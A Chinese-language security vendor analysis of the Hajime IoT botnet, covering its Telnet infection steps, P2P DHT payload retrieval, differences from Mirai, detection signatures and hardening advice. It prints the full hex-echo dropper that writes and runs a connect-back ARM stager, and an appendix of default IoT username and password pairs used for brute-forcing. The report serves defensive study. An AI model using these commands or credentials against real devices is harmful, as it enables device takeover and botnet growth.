随着科技的迅速发展,物联网设备的数量也随着增多。当这些先进的设备给人们提供方便的同时,也伴随着一些安全隐患。这给不法分子带来了庞大的市场,都想从中获得巨大的利益。就在大家所熟知的Mirai一统江湖的时候,一个名叫Hajime的新面孔粉墨登场并占领大量市场。
综述
Hajime与Mirai相似,远程登录处于打开的端口并使用默认的用户名和密码进行登录。不同的是Hajime建立在一个点对点的网络上,通过控制器将命令模块传播到对应的端点,使其控制的网络更加稳定,并且可以随时添加新的功能。
执行概要
Hajime通过扫描随机 IP的23端口(telnet端口),一旦发现一个接受连接的IP,通过尝试样本中嵌入的用户名和密码进行登录。登录成功后开始进行感染。首先通过文件传输程序从攻击节点复制第二阶段需要的程序,在第二阶段会加入对等网络获取配置文件和扫描程序。此扫描程序会扫描其他易受感染的设备进行感染,扩大控制范围。
行为说明
感染阶段
Hajime扫描随机产生的IPv4地址并且尝试连接它们的23端口,如果连接成功,再尝试使用常见的用户名和密码尝试登录。
部分用户名和密码如下图所示,详细的参见附录:
一旦登陆成功,Hajime通过发送如下命名来试图访问Linux Shell:
enable shell sh
enable命令是一个给予特权的命令, shell和sh命令表示尝试运行Bourne shell。只要其中的任意一个命令失败,Hajime试图访问Linux Shell的计划就将失败。
一旦Hajime确认了目标设备的Shell,它就开始对目标设备进行分析。首先它将检查目标文件系统的system mounts来查找一个可写的地址。
重复的使用命令/bin/busybox,为了定位命令行输出的结尾,这个特性和Mirai相同。
Hajime会寻找一个可写的路径作为它的工作路径来执行命令,它会避免使用/proc,/sys或/这几个路径,
通过这几行代码,可以检测下一阶段的二进制代码是否已经存在,检测当前的工作目录是否可写,最后检索/bin/echo二进制,这样Hajime就可以通过检测它的头来确定目标的处理器结构。一旦确定了处理器,Hajime就开始执行下一阶段的代码:
# echo -ne "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\x00\x00\x00\ x54\x00\x01\x00\x34\x00\x00\x00\x44\x01\x00\x00\x00\x02\x00\x05\x34\x00\x20\x00\x01\x00\x28\x00\x04\ x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" > .s; /bin/busybox %s # echo -ne "\x00\x00\x01\x00\xf8\x00\x00\x00\xf8\x00\x00\x00\x05\x00\x00\x00\x00\x00\x01\x00\x02\x00\xa0\xe3\ x01\x10\xa0\xe3\x06\x20\xa0\xe3\x07\x00\x2d\xe9\x01\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\ x0c\xd0\x8d\xe2\x00\x60\xa0\xe1\x70\x10\x8f\xe2\x10\x20\xa0\xe3" >> .s; /bin/busybox %s # echo -ne "\x07\x00\x2d\xe9\x03\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x14\xd0\x8d\xe2\x4f\x4f\x4d\ xe2\x05\x50\x45\xe0\x06\x00\xa0\xe1\x04\x10\xa0\xe1\x4b\x2f\xa0\xe3\x01\x3c\xa0\xe3\x0f\x00\ x2d\xe9\x0a\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x10\xd0\x8d\xe2" >> .s; /bin/busybox %s # echo -ne "\x00\x50\x85\xe0\x00\x00\x50\xe3\x04\x00\x00\xda\x00\x20\xa0\xe1\x01\x00\xa0\xe3\x04\x10\xa0 \xe1\x04\x00\x90\xef\xee\xff\xff\xea\x4f\xdf\x8d\xe2\x00\x00\x40\xe0\x01\x70\xa0\xe3\x00\x00 \x00\xef\x02\x00\x12\x1c\xc6\x33\x64\x7b\x41\x2a\x00\x00\x00\x61\x65\x61" >> .s; /bin/busybox %s # echo -ne "\x62\x69\x00\x01\x20\x00\x00\x00\x05\x43\x6f\x72\x74\x65\x78\x2d\x41\x35\x00\x06\x0a\x07\x41 \x08\x01\x09\x02\x0a\x03\x0c\x01\x2a\x01\x44\x01\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\ x00\x2e\x74\x65\x78\x74\x00\x2e\x41\x52\x4d\x2e\x61\x74\x74\x72\x69\x62\x75" >> .s; /bin/busybox %s # echo -ne "\x74\x65\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x54\x00\x01\x00\x54\x00\x00\ x00" >> .s; /bin/busybox %s # echo -ne "\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x11\x00 \x00\x00\x03\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x2b\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\ x00" >> .s; /bin/busybox %s # echo -ne "\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x23\x01\x00\x00\x21\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" >> .s; /bin/busybox %s # cp .s .i; >.i; ./.s>.i; ./.i; rm .s; /bin/busybox %s
此段二进制代码将会连接到攻击端并且将接收到的数据写到标准输出窗口,通过管道写入.i文件然后执行。此模块连接的IP和端口是通过硬编码嵌入在程序中的,而不是通过命令行来解析。那么攻击代码就需要知道嵌入的sockaddr_in结构体在不同负载不同平台下的的偏移量。
DHT 下载器
此阶段的代码通过连接攻击者建立的P2P连接获取额外的负载并执行。Hajime使用BitTorrent的DHT协议进行连接并且使用uTorrent Transport Protocol进行数据交换。
初始化
这个阶段的主线从函数conf_init和conf_check开始,从而动态申请并初始化KadNode的主配置结构。
首先做一些初始化的工作,建立符号连接:
接着调用系统函数mprotect修改内存属性:
从程序的内存空间中可以看到后期需要的域名字符串:
样本会尝试访问pool.ntp.org进行NTP查询,将查询的结果作为本地系统时间的偏移。
如果查询失败的话,就获取系统的当前时间来代替。
通过生成子进程来隐藏自身行为:
将上述通过NTP服务器获取到的时间信息,结合读取的/proc/net/route内的信息与邻近节点进行通信:
通过自删除行为防止被发现:
使用iptables设置网络, 并删除INPUT链中名为“CWMP_CR”的规则。
创建fifo文件,用于使用P2P协议通信时存储数据。
查找配置文件夹.p/.d,此文件夹中存放着它自动更新时,旧版本留下来的配置文件,当存在此目录时,则使用其配置文件,当不存在时,就创建目录用于存储下载的配置文件及模块文件。
最后,将控制权交给函数main_start,初始化DHT,设置主网络处理程序,最终启动主网络循环。
主要的操作逻辑
通过读取当前的配置文件并在DHT中建立对等关系后,Hajime从中检索出最新的配置文件。
BitTorrent DHT的对等查找需要160bit的“info_hash”值,BitTorrent使用Torrent的元数据的SHA1值进行查找,Hajime没有Torrent的元数据,所以“info_hash”的值通过如下的算法获得:
- 获取当前的时间。
- 将时间以D-M-Y-W-Z的格式进行书写,D表示某月的第几天,M表示月份,Y表示年份,W表示星期,Z表示从某一年一月一号以来的天数。
- 再次添加连字符(-)。
- 计算完整字符串的SHA1值。
举例来说,如果Hajime下载下来的文件名为“example”,时间为2016-10-1.那么首先将时间写为1-9-116-6-274,然后添加-c3499c2729730a7f807efb8676a92dcb6f8a3f8f,最后搜索DHT查找5dfd959c78d359272d46afd2e3069b34a9455ffd。
Hajime使用上述算法搜索“config”来下载配置文件,配置文件每十分钟被下载和解析一次,此次调试下载的配置文件如下:
[peers] router.utorrent.com router.bittorrent.com
Hajime将下载模块列表中与平台匹配的样本。一旦下载完成,就将文件缓存到.p文件夹中并检测它的“type”字段。0x01表示它为阶段2的更新文件,致使当前正在运行的阶段2的程序将其当前的配置文件写到.p/.d中。其他的类型表示此二进制文件为可执行文件或模块文件。
Hajime的目的
在发现Hajime时,它已经控制了大量IoT设备,但是从来没有发动过任何DDOS攻击,因此攻击者劫持设备的目的就不可而知。而且在Hajime安装到设备上之后,他会关闭23,7547,5555和5358端口。命令格式如下图所示:
这些端口是IoT设备可被利用进行攻击的端口。Hajime的这个做法确实是提高了设备的安全性,从这方面看,确实没有什么恶意,但是也有可能是为了不让其他恶意程序与他抢占资源,目前Hejime还没有进行过DDOS攻击,可能是攻击者目前还在致力于扩展他的控制领域,等到时机成熟后,就有可能将他的DDOS服务卖给其他人。
不过也不能断定Hajime就是恶意程序,因为它至今都没有发动过DDOS攻击,运行程序后会在窗口中输出如下信息:
从显示的信息来看,作者表明自己的身份是白帽,是来巩固一些系统的。所以说也不排除Hajime的作者确实是一名白帽,将此样本只是作为研究项目或者兴趣来进行传播。
与Mirai的区别
在感染阶段, Hajime会按照列表中的顺序读取用户名和密码进行尝试登录,而Mirai则是随机的选取一对进行尝试。在通过命令检测shell的时候,Hajime没有使用system命令来证实和访问shell。
受Mirai影响的设备采用C&C通讯方式来接收命令,而Hajime则通过P2P网络进行沟通,由此形成的僵尸网络不那么集中,并且更难制止。
受Hajime影响的小部分设备使用ARM芯片结构的IoT设备,而受Mirai影响的则是使用ARM,MIPS,x86和其他六个平台芯片的设备。并且Hajime在某种程度上还遏制了Mirai的传播。
攻击定位
样本中连接的域名为使用P2P协议的正常的uTorrent域名,并不能作为攻击域名。其域名解析的IP如下所示:
router.utorrent.com对应IP为82.221.103.224
router.bittorent.com对应IP为67.215.246.10
检测方法
1.Hejime通过登录Telnet进行感染,当它登陆成功后,会发送字符串enable\r\nshell\r\nsh\r\n。
例如:
0000002D 65 6e 61 62 6c 65 0d 0a 73 68 65 6c 6c 0d 0a 73 enable.. shell..s 0000003D 68 0d 0a h..
还会发送字符串cat/proc/mounts;/bin/busybox “%s”\r\n,其中%s是5个大写字母组成的随机字符串
例如:
00000040 63 61 74 20 2f 70 72 6f 63 2f 6d 6f 75 6e 74 73 cat /pro c/mounts 00000050 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 4c ; /bin/b usybox L 00000060 47 42 4c 55 0d 0a GBLU..
因此可以通过字符串确认bot端的存在。
2.样本开启11152端口,使用UDP协议发送数据,其中端口号固定,因此可通过检测端口号进行可以bot的确认。
总结
先前的Mirai和此次的Hajime已经表明,物联网安全是个不容忽视并且亟待解决的问题,在我们希望生产商提高产品的安全性的同时,我们使用者也要提高安全意识并采取一定得防护措施。
在买物联网设备前,首先了解设备的性能和安全功能,关闭没有必要的功能和服务,禁用Telnet登录并尽量使用SSH,对网络中所使用的物联网设备执行审核,更改设备上的默认信息。在设备账户和WiFi网络中使用强密码,在设置WiFi保护接入(WPA)时,使用强加密方法,非必要时,禁用路由器的通用即插即用功能,根据自身需要,修改物联网设备的默认隐私和安全设置,非必要时,禁用或保护对物联网设备的远程访问,尽量使用有线连接来代替无线连接,定期升级固件。我相信通过使用上述措施,可以大大提高设备的安全性。
附录
Username | Password |
root | xc3511 |
root | vizxv |
root | admin |
admin | admin |
root | 888888 |
root | xmhdipc |
root | juantech |
root | 123456 |
root | 54321 |
support | support |
root | |
admin | password |
root | root |
root | 12345 |
user | user |
admin | |
root | pass |
admin | admin1234 |
root | 1111 |
admin | smcadmin |
admin | 1111 |
root | 666666 |
root | password |
root | 1234 |
root | klv123 |
Administrator | admin |
service | service |
supervisor | supervisor |
guest | guest |
guest | 12345 |
admin1 | password |
administrator | 1234 |
666666 | 666666 |
888888 | 888888 |
ubnt | ubnt |
root | klv1234 |
root | Zte521 |
root | hi3518 |
root | jvbzd |
root | anko |
root | zlxx. |
root | 7ujMko0vizxv |
root | 7ujMko0admin |
root | system |
root | ikwb |
root | dreambox |
root | user |
root | realtek |
root | 00000000 |
admin | 1111111 |
admin | 1234 |
admin | 12345 |
admin | 54321 |
admin | 123456 |
admin | 7ujMko0admin |
admin | 1234 |
admin | pass |
admin | meinsm |
tech | tech |
mother | fucker |
root | 5up |
Admin | 5up |
声 明
本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。
关于绿盟科技
北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。
基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。
北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。
如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880